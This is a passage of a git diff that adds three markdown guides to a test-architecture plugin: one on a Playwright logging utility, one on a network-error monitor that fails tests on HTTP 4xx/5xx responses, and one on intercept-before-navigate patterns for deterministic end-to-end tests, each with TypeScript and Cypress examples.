+const usersCall = interceptNetworkCall({ url: '**/api/users' });
+await page.goto('/dashboard');
+await usersCall; // Deterministic wait
+```
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/log.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/log.md
new file mode 100644
index 0000000..2edca5a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/log.md
@@ -0,0 +1,426 @@
+# Log Utility
+
+## Principle
+
+Use structured logging that integrates with Playwright's test reports. Support object logging, test step decoration, and multiple log levels (info, step, success, warning, error, debug).
+
+## Rationale
+
+Console.log in Playwright tests has limitations:
+
+- Not visible in HTML reports
+- No test step integration
+- No structured output
+- Lost in terminal noise during CI
+
+The `log` utility provides:
+
+- **Report integration**: Logs appear in Playwright HTML reports
+- **Test step decoration**: `log.step()` creates collapsible steps in UI
+- **Object logging**: Automatically formats objects/arrays
+- **Multiple levels**: info, step, success, warning, error, debug
+- **Optional console**: Can disable console output but keep report logs
+
+## Quick Start
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+// Basic logging
+await log.info('Starting test');
+await log.step('Test step shown in Playwright UI');
+await log.success('Operation completed');
+await log.warning('Something to note');
+await log.error('Something went wrong');
+await log.debug('Debug information');
+```
+
+## Pattern Examples
+
+### Example 1: Basic Logging Levels
+
+**Context**: Log different types of messages throughout test execution.
+
+**Implementation**:
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('logging demo', async ({ page }) => {
+  await log.step('Navigate to login page');
+  await page.goto('/login');
+
+  await log.info('Entering credentials');
+  await page.fill('#username', 'testuser');
+
+  await log.success('Login successful');
+
+  await log.warning('Rate limit approaching');
+
+  await log.debug({ userId: '123', sessionId: 'abc' });
+
+  // Errors still throw but get logged first
+  try {
+    await page.click('#nonexistent');
+  } catch (error) {
+    await log.error('Click failed', false); // false = no console output
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `step()` creates collapsible steps in Playwright UI
+- `info()`, `success()`, `warning()` for different message types
+- `debug()` for detailed data (objects/arrays)
+- `error()` with optional console suppression
+- All logs appear in test reports
+
+### Example 2: Object and Array Logging
+
+**Context**: Log structured data for debugging without cluttering console.
+
+**Implementation**:
+
+```typescript
+test('object logging', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  // Log array of objects
+  await log.debug(body); // Formatted as JSON in report
+
+  // Log specific object
+  await log.info({
+    totalUsers: body.length,
+    firstUser: body[0]?.name,
+    timestamp: new Date().toISOString(),
+  });
+
+  // Complex nested structures
+  await log.debug({
+    request: {
+      method: 'GET',
+      path: '/api/users',
+      timestamp: Date.now(),
+    },
+    response: {
+      status: 200,
+      body: body.slice(0, 3), // First 3 items
+    },
+  });
+});
+```
+
+**Key Points**:
+
+- Objects auto-formatted as pretty JSON
+- Arrays handled gracefully
+- Nested structures supported
+- All visible in Playwright report attachments
+
+### Example 3: Test Step Organization
+
+**Context**: Organize test execution into collapsible steps for better readability in reports.
+
+**Implementation**:
+
+```typescript
+test('organized with steps', async ({ page, apiRequest }) => {
+  await log.step('ARRANGE: Setup test data');
+  const { body: user } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'Test User' },
+  });
+
+  await log.step('ACT: Perform user action');
+  await page.goto(`/users/${user.id}`);
+  await page.click('#edit');
+  await page.fill('#name', 'Updated Name');
+  await page.click('#save');
+
+  await log.step('ASSERT: Verify changes');
+  await expect(page.getByText('Updated Name')).toBeVisible();
+
+  // In Playwright UI, each step is collapsible
+});
+```
+
+**Key Points**:
+
+- `log.step()` creates collapsible sections
+- Organize by Arrange-Act-Assert
+- Steps visible in Playwright trace viewer
+- Better debugging when tests fail
+
+### Example 4: Test Step Decorators
+
+**Context**: Create collapsible test steps in Playwright UI using decorators.
+
+**Page Object Methods with @methodTestStep:**
+
+```typescript
+import { methodTestStep } from '@seontechnologies/playwright-utils';
+
+class TodoPage {
+  constructor(private page: Page) {
+    this.name = 'TodoPage';
+  }
+
+  readonly name: string;
+
+  @methodTestStep('Add todo item')
+  async addTodo(text: string) {
+    await log.info(`Adding todo: ${text}`);
+    const newTodo = this.page.getByPlaceholder('What needs to be done?');
+    await newTodo.fill(text);
+    await newTodo.press('Enter');
+    await log.step('step within a decorator');
+    await log.success(`Added todo: ${text}`);
+  }
+
+  @methodTestStep('Get all todos')
+  async getTodos() {
+    await log.info('Getting all todos');
+    return this.page.getByTestId('todo-title');
+  }
+}
+```
+
+**Function Helpers with functionTestStep:**
+
+```typescript
+import { functionTestStep } from '@seontechnologies/playwright-utils';
+
+// Define todo items for the test
+const TODO_ITEMS = ['buy groceries', 'pay bills', 'schedule meeting'];
+
+const createDefaultTodos = functionTestStep('Create default todos', async (page: Page) => {
+  await log.info('Creating default todos');
+  await log.step('step within a functionWrapper');
+  const todoPage = new TodoPage(page);
+
+  for (const item of TODO_ITEMS) {
+    await todoPage.addTodo(item);
+  }
+
+  await log.success('Created all default todos');
+});
+
+const checkNumberOfTodosInLocalStorage = functionTestStep('Check total todos count fn-step', async (page: Page, expected: number) => {
+  await log.info(`Verifying todo count: ${expected}`);
+  const result = await page.waitForFunction((e) => JSON.parse(localStorage['react-todos']).length === e, expected);
+  await log.success(`Verified todo count: ${expected}`);
+  return result;
+});
+```
+
+### Example 5: File Logging
+
+**Context**: Enable file logging for persistent logs.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { log, captureTestContext } from '@seontechnologies/playwright-utils';
+
+// Configure file logging globally
+log.configure({
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs/organized-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Extend base test with file logging context capture
+export const test = base.extend({
+  // Auto-capture test context for file logging
+  autoTestContext: [
+    async ({}, use, testInfo) => {
+      captureTestContext(testInfo);
+      await use(undefined);
+    },
+    { auto: true },
+  ],
+});
+```
+
+### Example 6: Integration with Auth and API
+
+**Context**: Log authenticated API requests with tokens (safely).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+// Helper to create safe token preview
+function createTokenPreview(token: string): string {
+  if (!token || token.length < 10) return '[invalid]';
+  return `${token.slice(0, 6)}...${token.slice(-4)}`;
+}
+
+test('should log auth flow', async ({ authToken, apiRequest }) => {
+  await log.info(`Using token: ${createTokenPreview(authToken)}`);
+
+  await log.step('Fetch protected resource');
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await log.debug({
+    status,
+    bodyPreview: {
+      id: body.id,
+      recordCount: body.data?.length,
+    },
+  });
+
+  await log.success('Protected resource accessed successfully');
+});
+```
+
+**Key Points**:
+
+- Never log full tokens (security risk)
+- Use preview functions for sensitive data
+- Combine with auth and API utilities
+- Log at appropriate detail level
+
+## Configuration
+
+**Defaults:** console logging enabled, file logging disabled.
+
+```typescript
+// Enable file logging in config
+log.configure({
+  console: true, // default
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Per-test override
+await log.info('Message', {
+  console: { enabled: false },
+  fileLogging: { enabled: true },
+});
+```
+
+### Environment Variables
+
+```bash
+# Disable all logging
+SILENT=true
+
+# Disable only file logging
+DISABLE_FILE_LOGS=true
+
+# Disable only console logging
+DISABLE_CONSOLE_LOGS=true
+```
+
+### Level Filtering
+
+```typescript
+log.configure({
+  level: 'warning', // Only warning, error levels will show
+});
+
+// Available levels (in priority order):
+// debug < info < step < success < warning < error
+```
+
+### Sync Methods
+
+For non-test contexts (global setup, utility functions):
+
+```typescript
+// Use sync methods when async/await isn't available
+log.infoSync('Initializing configuration');
+log.successSync('Environment configured');
+log.errorSync('Setup failed');
+```
+
+## Log Levels Guide
+
+| Level     | When to Use                         | Shows in Report   | Shows in Console |
+| --------- | ----------------------------------- | ----------------- | ---------------- |
+| `step`    | Test organization, major actions    | Collapsible steps | Yes              |
+| `info`    | General information, state changes  | Yes               | Yes              |
+| `success` | Successful operations               | Yes               | Yes              |
+| `warning` | Non-critical issues, skipped checks | Yes               | Yes              |
+| `error`   | Failures, exceptions                | Yes               | Configurable     |
+| `debug`   | Detailed data, objects              | Yes (attached)    | Configurable     |
+
+## Comparison with console.log
+
+| console.log             | log Utility               |
+| ----------------------- | ------------------------- |
+| Not in reports          | Appears in reports        |
+| No test steps           | Creates collapsible steps |
+| Manual JSON.stringify() | Auto-formats objects      |
+| No log levels           | 6 log levels              |
+| Lost in CI output       | Preserved in artifacts    |
+
+## Related Fragments
+
+- `overview.md` - Basic usage and imports
+- `api-request.md` - Log API requests
+- `auth-session.md` - Log auth flow (safely)
+- `recurse.md` - Log polling progress
+
+## Anti-Patterns
+
+**DON'T log objects in steps:**
+
+```typescript
+await log.step({ user: 'test', action: 'create' }); // Shows empty in UI
+```
+
+**DO use strings for steps, objects for debug:**
+
+```typescript
+await log.step('Creating user: test'); // Readable in UI
+await log.debug({ user: 'test', action: 'create' }); // Detailed data
+```
+
+**DON'T log sensitive data:**
+
+```typescript
+await log.info(`Password: ${password}`); // Security risk!
+await log.info(`Token: ${authToken}`); // Full token exposed!
+```
+
+**DO use previews or omit sensitive data:**
+
+```typescript
+await log.info('User authenticated successfully'); // No sensitive data
+await log.debug({ tokenPreview: token.slice(0, 6) + '...' });
+```
+
+**DON'T log excessively in loops:**
+
+```typescript
+for (const item of items) {
+  await log.info(`Processing ${item.id}`); // 100 log entries!
+}
+```
+
+**DO log summary or use debug level:**
+
+```typescript
+await log.step(`Processing ${items.length} items`);
+await log.debug({ itemIds: items.map((i) => i.id) }); // One log entry
+```
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/network-error-monitor.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/network-error-monitor.md
new file mode 100644
index 0000000..e19771d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/network-error-monitor.md
@@ -0,0 +1,401 @@
+# Network Error Monitor
+
+## Principle
+
+Automatically detect and fail tests when HTTP 4xx/5xx errors occur during execution. Act like Sentry for tests - catch silent backend failures even when UI passes assertions.
+
+## Rationale
+
+Traditional Playwright tests focus on UI:
+
+- Backend 500 errors ignored if UI looks correct
+- Silent failures slip through
+- No visibility into background API health
+- Tests pass while features are broken
+
+The `network-error-monitor` provides:
+
+- **Automatic detection**: All HTTP 4xx/5xx responses tracked
+- **Test failures**: Fail tests with backend errors (even if UI passes)
+- **Structured artifacts**: JSON reports with error details
+- **Smart opt-out**: Disable for validation tests expecting errors
+- **Deduplication**: Group repeated errors by pattern
+- **Domino effect prevention**: Limit test failures per error pattern
+- **Respects test status**: Won't suppress actual test failures
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// That's it! Network monitoring is automatically enabled
+test('my test', async ({ page }) => {
+  await page.goto('/dashboard');
+  // If any HTTP 4xx/5xx errors occur, the test will fail
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Auto-Monitoring
+
+**Context**: Automatically fail tests when backend errors occur.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Monitoring automatically enabled
+test('should load dashboard', async ({ page }) => {
+  await page.goto('/dashboard');
+  await expect(page.locator('h1')).toContainText('Dashboard');
+
+  // Passes if no HTTP errors
+  // Fails if any 4xx/5xx errors detected with clear message:
+  //    "Network errors detected: 2 request(s) failed"
+  //    Failed requests:
+  //      GET 500 https://api.example.com/users
+  //      POST 503 https://api.example.com/metrics
+});
+```
+
+**Key Points**:
+
+- Zero setup - auto-enabled for all tests
+- Fails on any 4xx/5xx response
+- Structured error message with URLs and status codes
+- JSON artifact attached to test report
+
+### Example 2: Opt-Out for Validation Tests
+
+**Context**: Some tests expect errors (validation, error handling, edge cases).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Opt-out with annotation
+test('should show error on invalid input', { annotation: [{ type: 'skipNetworkMonitoring' }] }, async ({ page }) => {
+  await page.goto('/form');
+  await page.click('#submit'); // Triggers 400 error
+
+  // Monitoring disabled - test won't fail on 400
+  await expect(page.getByText('Invalid input')).toBeVisible();
+});
+
+// Or opt-out entire describe block
+test.describe('error handling', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  test('handles 404', async ({ page }) => {
+    // All tests in this block skip monitoring
+  });
+
+  test('handles 500', async ({ page }) => {
+    // Monitoring disabled
+  });
+});
+```
+
+**Key Points**:
+
+- Use annotation `{ type: 'skipNetworkMonitoring' }`
+- Can opt-out single test or entire describe block
+- Monitoring still active for other tests
+- Perfect for intentional error scenarios
+
+### Example 3: Respects Test Status
+
+**Context**: The monitor respects final test statuses to avoid suppressing important test outcomes.
+
+**Behavior by test status:**
+
+- **`failed`**: Network errors logged as additional context, not thrown
+- **`timedOut`**: Network errors logged as additional context
+- **`skipped`**: Network errors logged, skip status preserved
+- **`interrupted`**: Network errors logged, interrupted status preserved
+- **`passed`**: Network errors throw and fail the test
+
+**Example with test.skip():**
+
+```typescript
+test('feature gated test', async ({ page }) => {
+  const featureEnabled = await checkFeatureFlag();
+  test.skip(!featureEnabled, 'Feature not enabled');
+  // If skipped, network errors won't turn this into a failure
+  await page.goto('/new-feature');
+});
+```
+
+### Example 4: Excluding Legitimate Errors
+
+**Context**: Some endpoints legitimately return 4xx/5xx responses.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [
+      /email-cluster\/ml-app\/has-active-run/, // ML service returns 404 when no active run
+      /idv\/session-templates\/list/, // IDV service returns 404 when not configured
+      /sentry\.io\/api/, // External Sentry errors should not fail tests
+    ],
+  }),
+);
+```
+
+**For merged fixtures:**
+
+```typescript
+import { test as base, mergeTests } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [/analytics\.google\.com/, /cdn\.example\.com/],
+  }),
+);
+
+export const test = mergeTests(authFixture, networkErrorMonitor);
+```
+
+### Example 5: Preventing Domino Effect
+
+**Context**: One failing endpoint shouldn't fail all tests.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [], // Required when using maxTestsPerError
+    maxTestsPerError: 1, // Only first test fails per error pattern, rest just log
+  }),
+);
+```
+
+**How it works:**
+
+When `/api/v2/case-management/cases` returns 500:
+
+- **First test** encountering this error: **FAILS** with clear error message
+- **Subsequent tests** encountering same error: **PASSES** but logs warning
+
+Error patterns are grouped by `method + status + base path`:
+
+- `GET /api/v2/case-management/cases/123` -> Pattern: `GET:500:/api/v2/case-management`
+- `GET /api/v2/case-management/quota` -> Pattern: `GET:500:/api/v2/case-management` (same group!)
+- `POST /api/v2/case-management/cases` -> Pattern: `POST:500:/api/v2/case-management` (different group!)
+
+**Why include HTTP method?** A GET 404 vs POST 404 might represent different issues:
+
+- `GET 404 /api/users/123` -> User not found (expected in some tests)
+- `POST 404 /api/users` -> Endpoint doesn't exist (critical error)
+
+**Output for subsequent tests:**
+
+```
+Warning: Network errors detected but not failing test (maxTestsPerError limit reached):
+  GET 500 https://api.example.com/api/v2/case-management/cases
+```
+
+**Recommended configuration:**
+
+```typescript
+createNetworkErrorMonitorFixture({
+  excludePatterns: [...], // Required - known broken endpoints (can be empty [])
+  maxTestsPerError: 1     // Stop domino effect (requires excludePatterns)
+})
+```
+
+**Understanding worker-level state:**
+
+Error pattern counts are stored in worker-level global state:
+
+```typescript
+// test-file-1.spec.ts (runs in Worker 1)
+test('test A', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS
+
+// test-file-2.spec.ts (runs later in Worker 1)
+test('test B', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // PASSES (limit reached)
+
+// test-file-3.spec.ts (runs in Worker 2 - different worker)
+test('test C', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS (fresh worker)
+```
+
+### Example 6: Integration with Merged Fixtures
+
+**Context**: Combine network-error-monitor with other utilities.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as networkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = mergeTests(
+  authFixture,
+  networkErrorMonitorFixture,
+  // Add other fixtures
+);
+
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('authenticated with monitoring', async ({ page, authToken }) => {
+  // Both auth and network monitoring active
+  await page.goto('/protected');
+
+  // Fails if backend returns errors during auth flow
+});
+```
+
+**Key Points**:
+
+- Combine with `mergeTests`
+- Works alongside all other utilities
+- Monitoring active automatically
+- No extra setup needed
+
+### Example 7: Artifact Structure
+
+**Context**: Debugging failed tests with network error artifacts.
+
+When test fails due to network errors, artifact attached:
+
+```json
+[
+  {
+    "url": "https://api.example.com/users",
+    "status": 500,
+    "method": "GET",
+    "timestamp": "2025-11-10T12:34:56.789Z"
+  },
+  {
+    "url": "https://api.example.com/metrics",
+    "status": 503,
+    "method": "POST",
+    "timestamp": "2025-11-10T12:34:57.123Z"
+  }
+]
+```
+
+## Implementation Details
+
+### How It Works
+
+1. **Fixture Extension**: Uses Playwright's `base.extend()` with `auto: true`
+2. **Response Listener**: Attaches `page.on('response')` listener at test start
+3. **Multi-Page Monitoring**: Automatically monitors popups and new tabs via `context.on('page')`
+4. **Error Collection**: Captures 4xx/5xx responses, checking exclusion patterns
+5. **Try/Finally**: Ensures error processing runs even if test fails early
+6. **Status Check**: Only throws errors if test hasn't already reached final status
+7. **Artifact**: Attaches JSON file to test report for debugging
+
+### Performance
+
+The monitor has minimal performance impact:
+
+- Event listener overhead: ~0.1ms per response
+- Memory: ~200 bytes per unique error
+- No network delay (observes responses, doesn't intercept them)
+
+## Comparison with Alternatives
+
+| Approach                    | Network Error Monitor | Manual afterEach      |
+| --------------------------- | --------------------- | --------------------- |
+| **Setup Required**          | Zero (auto-enabled)   | Every test file       |
+| **Catches Silent Failures** | Yes                   | Yes (if configured)   |
+| **Structured Artifacts**    | JSON attached         | Custom impl           |
+| **Test Failure Safety**     | Try/finally           | afterEach may not run |
+| **Opt-Out Mechanism**       | Annotation            | Custom logic          |
+| **Status Aware**            | Respects skip/failed  | No                    |
+
+## When to Use
+
+**Auto-enabled for:**
+
+- All E2E tests
+- Integration tests
+- Any test hitting real APIs
+
+**Opt-out for:**
+
+- Validation tests (expecting 4xx)
+- Error handling tests (expecting 5xx)
+- Offline tests (network-recorder playback)
+
+## Troubleshooting
+
+### Test fails with network errors but I don't see them in my app
+
+The errors might be happening during page load or in background polling. Check the `network-errors.json` artifact in your test report for full details including timestamps.
+
+### False positives from external services
+
+Configure exclusion patterns as shown in the "Excluding Legitimate Errors" section above.
+
+### Network errors not being caught
+
+Ensure you're importing the test from the correct fixture:
+
+```typescript
+// Correct
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Wrong - this won't have network monitoring
+import { test } from '@playwright/test';
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixtures
+- `fixtures-composition.md` - Merging with other utilities
+- `error-handling.md` - Traditional error handling patterns
+
+## Anti-Patterns
+
+**DON'T opt out of monitoring globally:**
+
+```typescript
+// Every test skips monitoring
+test.use({ annotation: [{ type: 'skipNetworkMonitoring' }] });
+```
+
+**DO opt-out only for specific error tests:**
+
+```typescript
+test.describe('error scenarios', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  // Only these tests skip monitoring
+});
+```
+
+**DON'T ignore network error artifacts:**
+
+```typescript
+// Test fails, artifact shows 500 errors
+// Developer: "Works on my machine" ¯\_(ツ)_/¯
+```
+
+**DO check artifacts for root cause:**
+
+```typescript
+// Read network-errors.json artifact
+// Identify failing endpoint: GET /api/users -> 500
+// Fix backend issue before merging
+```
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/network-first.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/network-first.md
new file mode 100644
index 0000000..fcc31a9
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/network-first.md
@@ -0,0 +1,486 @@
+# Network-First Safeguards
+
+## Principle
+
+Register network interceptions **before** any navigation or user action. Store the interception promise and await it immediately after the triggering step. Replace implicit waits with deterministic signals based on network responses, spinner disappearance, or event hooks.
+
+## Rationale
+
+The most common source of flaky E2E tests is **race conditions** between navigation and network interception:
+
+- Navigate then intercept = missed requests (too late)
+- No explicit wait = assertion runs before response arrives
+- Hard waits (`waitForTimeout(3000)`) = slow, unreliable, brittle
+
+Network-first patterns provide:
+
+- **Zero race conditions**: Intercept is active before triggering action
+- **Deterministic waits**: Wait for actual response, not arbitrary timeouts
+- **Actionable failures**: Assert on response status/body, not generic "element not found"
+- **Speed**: No padding with extra wait time
+
+## Pattern Examples
+
+### Example 1: Intercept Before Navigate Pattern
+
+**Context**: The foundational pattern for all E2E tests. Always register route interception **before** the action that triggers the request (navigation, click, form submit).
+
+**Implementation**:
+
+```typescript
+// ✅ CORRECT: Intercept BEFORE navigate
+test('user can view dashboard data', async ({ page }) => {
+  // Step 1: Register interception FIRST
+  const usersPromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  // Step 2: THEN trigger the request
+  await page.goto('/dashboard');
+
+  // Step 3: THEN await the response
+  const usersResponse = await usersPromise;
+  const users = await usersResponse.json();
+
+  // Step 4: Assert on structured data
+  expect(users).toHaveLength(10);
+  await expect(page.getByText(users[0].name)).toBeVisible();
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display users', () => {
+    // Step 1: Register interception FIRST
+    cy.intercept('GET', '**/api/users').as('getUsers');
+
+    // Step 2: THEN trigger
+    cy.visit('/dashboard');
+
+    // Step 3: THEN await
+    cy.wait('@getUsers').then((interception) => {
+      // Step 4: Assert on structured data
+      expect(interception.response.statusCode).to.equal(200);
+      expect(interception.response.body).to.have.length(10);
+      cy.contains(interception.response.body[0].name).should('be.visible');
+    });
+  });
+});
+
+// ❌ WRONG: Navigate BEFORE intercept (race condition!)
+test('flaky test example', async ({ page }) => {
+  await page.goto('/dashboard'); // Request fires immediately
+
+  const usersPromise = page.waitForResponse('/api/users'); // TOO LATE - might miss it
+  const response = await usersPromise; // May timeout randomly
+});
+```
+
+**Key Points**:
+
+- Playwright: Use `page.waitForResponse()` with URL pattern or predicate **before** `page.goto()` or `page.click()`
+- Cypress: Use `cy.intercept().as()` **before** `cy.visit()` or `cy.click()`
+- Store promise/alias, trigger action, **then** await response
+- This prevents 95% of race-condition flakiness in E2E tests
+
+### Example 2: HAR Capture for Debugging
+
+**Context**: When debugging flaky tests or building deterministic mocks, capture real network traffic with HAR files. Replay them in tests for consistent, offline-capable test runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Enable HAR recording
+export default defineConfig({
+  use: {
+    // Record HAR on first run
+    recordHar: { path: './hars/', mode: 'minimal' },
+    // Or replay HAR in tests
+    // serviceWorkers: 'block',
+  },
+});
+
+// Capture HAR for specific test
+test('capture network for order flow', async ({ page, context }) => {
+  // Start recording
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: true, // Update HAR with new requests
+  });
+
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // HAR saved to ./hars/order-flow.har
+});
+
+// Replay HAR for deterministic tests (no real API needed)
+test('replay order flow from HAR', async ({ page, context }) => {
+  // Replay captured HAR
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  // Test runs with exact recorded responses - fully deterministic
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Custom mock based on HAR insights
+test('mock order response based on HAR', async ({ page }) => {
+  // After analyzing HAR, create focused mock
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        orderId: '12345',
+        status: 'confirmed',
+        total: 99.99,
+      }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order #12345')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- HAR files capture real request/response pairs for analysis
+- `update: true` records new traffic; `update: false` replays existing
+- Replay mode makes tests fully deterministic (no upstream API needed)
+- Use HAR to understand API contracts, then create focused mocks
+
+### Example 3: Network Stub with Edge Cases
+
+**Context**: When testing error handling, timeouts, and edge cases, stub network responses to simulate failures. Test both happy path and error scenarios.
+
+**Implementation**:
+
+```typescript
+// Test happy path
+test('order succeeds with valid data', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Test 500 error
+test('order fails with server error', async ({ page }) => {
+  // Listen for console errors (app should log gracefully)
+  const consoleErrors: string[] = [];
+  page.on('console', (msg) => {
+    if (msg.type() === 'error') consoleErrors.push(msg.text());
+  });
+
+  // Stub 500 error
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 500,
+      contentType: 'application/json',
+      body: JSON.stringify({ error: 'Internal Server Error' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // Assert UI shows error gracefully
+  await expect(page.getByText('Something went wrong')).toBeVisible();
+  await expect(page.getByText('Please try again')).toBeVisible();
+
+  // Verify error logged (not thrown)
+  expect(consoleErrors.some((e) => e.includes('Order failed'))).toBeTruthy();
+});
+
+// Test network timeout
+test('order times out after 10 seconds', async ({ page }) => {
+  // Stub delayed response (never resolves within timeout)
+  await page.route(
+    '**/api/orders',
+    (route) => new Promise(() => {}), // Never resolves - simulates timeout
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should show timeout message after configured timeout
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 15000 });
+});
+
+// Test partial data response
+test('order handles missing optional fields', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      // Missing optional fields like 'trackingNumber', 'estimatedDelivery'
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should handle gracefully - no crash, shows what's available
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText('Tracking information pending')).toBeVisible();
+});
+
+// Cypress equivalents
+describe('Order Edge Cases', () => {
+  it('should handle 500 error', () => {
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Internal Server Error' },
+    }).as('orderFailed');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.wait('@orderFailed');
+    cy.contains('Something went wrong').should('be.visible');
+  });
+
+  it('should handle timeout', () => {
+    cy.intercept('POST', '**/api/orders', (req) => {
+      req.reply({ delay: 20000 }); // Delay beyond app timeout
+    }).as('orderTimeout');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.contains('Request timed out', { timeout: 15000 }).should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- Stub different HTTP status codes (200, 400, 500, 503)
+- Simulate timeouts with `delay` or non-resolving promises
+- Test partial/incomplete data responses
+- Verify app handles errors gracefully (no crashes, user-friendly messages)
+
+### Example 4: Deterministic Waiting
+
+**Context**: Never use hard waits (`waitForTimeout(3000)`). Always wait for explicit signals: network responses, element state changes, or custom events.
+
+**Implementation**:
+
+```typescript
+// ✅ GOOD: Wait for response with predicate
+test('wait for specific response', async ({ page }) => {
+  const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+  const response = await responsePromise;
+
+  expect(response.status()).toBe(200);
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for multiple responses
+test('wait for all required data', async ({ page }) => {
+  const usersPromise = page.waitForResponse('**/api/users');
+  const productsPromise = page.waitForResponse('**/api/products');
+  const ordersPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto('/dashboard');
+
+  // Wait for all in parallel
+  const [users, products, orders] = await Promise.all([usersPromise, productsPromise, ordersPromise]);
+
+  expect(users.status()).toBe(200);
+  expect(products.status()).toBe(200);
+  expect(orders.status()).toBe(200);
+});
+
+// ✅ GOOD: Wait for spinner to disappear
+test('wait for loading indicator', async ({ page }) => {
